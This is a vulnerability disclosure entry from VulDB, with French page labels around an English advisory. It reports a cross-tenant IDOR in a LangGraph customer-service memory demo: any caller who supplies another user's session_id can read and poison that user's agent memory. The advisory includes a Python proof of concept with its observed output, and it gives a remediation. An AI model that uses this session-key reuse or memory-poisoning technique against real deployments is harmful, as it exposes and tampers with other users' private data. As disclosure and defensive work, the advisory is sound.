Soumettre #845672: ForceInjection AI-fundermentals 5bb92c73a5aa0560c753beeb56e7ad4314dc8a7a Insecure Direct Object Reference (IDOR) / Cross-Tenant Data Expoinformation

TitreForceInjection AI-fundermentals 5bb92c73a5aa0560c753beeb56e7ad4314dc8a7a Insecure Direct Object Reference (IDOR) / Cross-Tenant Data Expo
Description## Vulnerability Title Cross-Tenant Data Exposure via Hash-Key Confusion in LangGraph Customer Service Memory ## Affected Component `08_agentic_system/memory/langchain/code/smart_customer_service.py` Repository: https://github.com/ForceInjection/AI-fundermentals ## Summary An attacker with the ability to submit a victim's `session_id` can reuse the same LangGraph memory key as the victim, causing agent memory key reuse. This leads to unauthorized recall and poisoning of another user's conversation history, negatively impacting users of the customer service memory demo if it is exposed through a web or API layer that accepts caller-supplied session identifiers. ## Technical Details The vulnerability occurs because `SessionManager` uses `session_id` as the complete LangGraph checkpointer identity. The same key is used to write and recall conversation state, but the key fails to include the stored `user_id` or any authorization-related metadata. **Where the Identity Key is Used** In `smart_customer_service.py`, the `chat()` and `get_conversation_history()` methods use `thread_id = session_id` as the sole object identity for security-relevant memory: ```python result = graph.invoke( {"messages": input_messages}, config={"configurable": {"thread_id": session_id}}, ) ``` **Why Key Equality Does Not Imply Security Equivalence** The `SessionInfo` dataclass stores ownership (`user_id`) and metadata separately: ```python @dataclass class SessionInfo: session_id: str user_id: str # ... ``` However, the `chat()` method only requires `session_id` from the caller: ```python def chat(self, session_id: str, message: str, context: Optional[Dict[str, Any]] = None) -> Dict[str, Any]: if session_id not in self.sessions: raise ValueError(f"Session does not exist: {session_id}") # ... proceeds without validating user_id ... ``` Because the method lacks a parameter for the authenticated caller's `user_id` (and lacks an owner check like `self.sessions[session_id].user_id == current_user_id`), any caller providing an existing `session_id` can access and modify the memory thread associated with that ID, crossing tenant and permission boundaries. ## Impact This vulnerability allows attackers to: - Recall another user's conversation memory if they can submit that user's `session_id` (IDOR). - Poison another user's memory by writing attacker-controlled messages into the victim's LangGraph checkpoint thread. - Cause cross-tenant or wrong-permission memory reuse. *(Note: Poisoned state can persist across process restarts if `persistent=True` is used with `SqliteSaver`).* ## Proof of Concept The PoC simulates a mock LangGraph environment to prove that two non-equivalent users can reuse the same memory key, allowing an attacker to recall and poison the victim's memory. ```python #!/usr/bin/env python3 # ... (mock config and LLM setup omitted for brevity) ... import smart_customer_service as scs manager = scs.SessionManager(storage_dir="/tmp/agentscan-memory-e2e", persistent=False) alice_sid = manager.create_session( "user-alice", memory_type="buffer", metadata={"tenant_id": "tenant-a", "permissions": "billing:read"}, ) bob_sid = manager.create_session( "user-bob", memory_type="buffer", metadata={"tenant_id": "tenant-b", "permissions": "billing:admin"}, ) manager.chat(alice_sid, "My order id is ORD-ALICE-123. Please help with billing.") # Attacker Bob uses Alice's session_id. The API cannot compare Bob's identity to SessionInfo.user_id. bob_attack_result = manager.chat(alice_sid, "I am Bob. What was the previous order id?") alice_history = manager.get_conversation_history(alice_sid) print("BOB_ATTACK_RESPONSE=" + repr(bob_attack_result.get("response"))) print("ATTACK_MESSAGE_STORED_IN_ALICE_HISTORY=" + str(any("I am Bob" in item["content"] for item in alice_history))) print("SECRET_VISIBLE_TO_ATTACKER=" + str("PROBE_LEAK_CONFIRMED" in bob_attack_result.get("response", ""))) ``` *Observed Execution Output:* ```text BOB_ATTACK_RESPONSE='PROBE_LEAK_CONFIRMED: saw Alice order ORD-ALICE-123 in recalled context' ATTACK_MESSAGE_STORED_IN_ALICE_HISTORY=True SECRET_VISIBLE_TO_ATTACKER=True ``` *Result confirms Bob's request reused Alice's memory thread, saw her secret order ID, and injected Bob's message into Alice's history.* ## Remediation Bind memory operations to the authenticated security context. Require the caller identity in `chat()` and `get_conversation_history()`, verify it against `SessionInfo.user_id`, and include the verified identity in the LangGraph memory key. Example implementation direction: ```python # In smart_customer_service.py def _thread_id(session_info: SessionInfo) -> str: return f"user:{session_info.user_id}:session:{session_info.session_id}" def chat(self, current_user_id: str, session_id: str, message: str, context=None): session_info = self.sessions[session_id] if session_info.user_id != current_user_id: raise PermissionError("session does not belong to current user") cfg = {"configurable": {"thread_id": _thread_id(session_info)}} # ... ``` Additional mitigations: 1. Complete Field Coverage: Validate all fields relevant to authorization, ownership, tenant isolation, and policy before granting memory access. 2. Read-Time Revalidation: Re-check ownership and authorization before returning checkpoint state. 3. State Invalidation: Migrate or clear existing checkpointer databases generated with the vulnerable `thread_id = session_id` scheme. ## References - Vulnerable write path: `https://github.com/ForceInjection/AI-fundermentals/blob/5bb92c73a5aa0560c753beeb56e7ad4314dc8a7a/08_agentic_system/memory/langchain/code/smart_customer_service.py#L280-L307` - Vulnerable recall path: `https://github.com/ForceInjection/AI-fundermentals/blob/5bb92c73a5aa0560c753beeb56e7ad4314dc8a7a/08_agentic_system/memory/langchain/code/smart_customer_service.py#L386-L392` - Safer repository pattern reference: `https://github.com/ForceInjection/AI-fundermentals/blob/5bb92c73a5aa0560c753beeb56e7ad4314dc8a7a/08_agentic_system/memory/langchain/code/langgraph_memory_example.py#L148-L195`
La source⚠️ https://github.com/ForceInjection/AI-fundamentals/issues/17
Utilisateur
 Dem00000 (UID 98563)
Soumission02/06/2026 05:45 (il y a 1 mois)
Modérer03/07/2026 19:14 (1 month later)
StatutAccepté
Entrée VulDB376146 [ForceInjection AI-fundermentals 2.0/3.0 Memory Recall smart_customer_service.py get_conversation_history chiffrement faible]
Points20

Want to know what is going to be exploited?

We predict KEV entries!